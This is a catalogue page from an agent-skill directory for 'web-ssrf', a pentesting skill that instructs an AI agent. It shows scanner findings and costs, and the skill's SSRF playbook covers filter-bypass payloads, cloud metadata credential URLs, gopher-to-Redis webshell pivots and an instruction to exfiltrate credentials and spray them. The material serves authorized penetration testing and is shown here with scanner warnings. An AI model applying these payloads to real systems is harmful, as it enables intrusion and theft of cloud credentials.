Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add s0ld13rr/pentestcode --skill ssrfgit clone --depth 1 https://github.com/s0ld13rr/pentestcodeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/s0ld13rr/pentestcode/ssrf)<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/ssrf"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/ssrf/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/ssrf"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/ssrf.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Server-Side Request Forgery · line 28 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- high Server-Side Request Forgery · line 31 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- high Server-Side Request Forgery · line 30 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00091 | $0.00749 |
| Opus 5.5 | $0.00036 | $0.00300 |
| Sonnet 5.5 | $0.00018 | $0.00150 |
| Haiku 4.5 | $0.00009 | $0.00075 |
Grade C, and why
web-ssrf scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS IMDSv1 How it starts
The opening of the file, as written. The whole thing — 43 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Server-Side Request Forgery (SSRF)
When this fires
The server makes an outbound request to a URL/host you can influence: webhook config, image/PDF/link-preview fetchers, import-from-URL, SSO/OIDC callback, image proxies (e.g. Next.js /_next/image), XML/SVG parsers.
Detect
Point it at an OOB listener; a callback from the SERVER's IP confirms SSRF:
# use interactsh / a collaborator / your own listener
url=http://<OOB-id>.oast.site # then watch for the server-sourced hit
Compare internal vs external: http://127.0.0.1:<port> / http://localhost responses vs a dead port (differential = internal reachability).
Decide — filter bypass
- Blocklist of
127.0.0.1/localhost→http://127.1,http://0,http://[::1],http://2130706433(decimal),http://0x7f000001,http://127.0.0.1.nip.io. - Allowlist/parser confusion →
http://allowed@evil,http://evil#allowed,http://allowed.evil.com, CR/LF +@, or a redirect you control (302 → internal). - Scheme filter →
gopher://(raw TCP → Redis/SMTP/internal HTTP),file://,dict://.
Exploit → PROVE IMPACT
# cloud metadata (the classic high-impact proof):
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS IMDSv1
# IMDSv2 needs a PUT token first (SSRF must allow method/headers) — else pivot to a v1 target
http://metadata.google.internal/computeMetadata/v1/ (Header Metadata-Flavor: Google) # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Header Metadata:true) # Azure
# internal services: gopher:// to Redis (SLAVEOF/CONFIG SET dir → webshell), unauth admin panels, port-scan via response/timing
Proof required: exfiltrated cloud creds/metadata, an internal-only page body, or an OOB hit provably from the server. Read creds → add_credential + cred_spray.
Tooling
nuclei -tags ssrf; interactsh/collaborator for OOB; gopherus to craft gopher payloads.
False positives / pitfalls
- Client-side fetch (the BROWSER requests it) = not SSRF.
- WAF returns 200 for everything → rely on the OOB callback / internal-vs-dead-port differential, not the status.
- Egress-filtered target → metadata/OOB may fail though internal pivots still work; try both.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 43 lines · 91 tokens per session scan C 751d7cc162c0
web-ssrf is a skill published in the GitHub repository s0ld13rr/pentestcode (851 stars, last pushed 15d ago), licensed MIT. It adds 91 tokens to every session and 749 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it C with 1 finding (cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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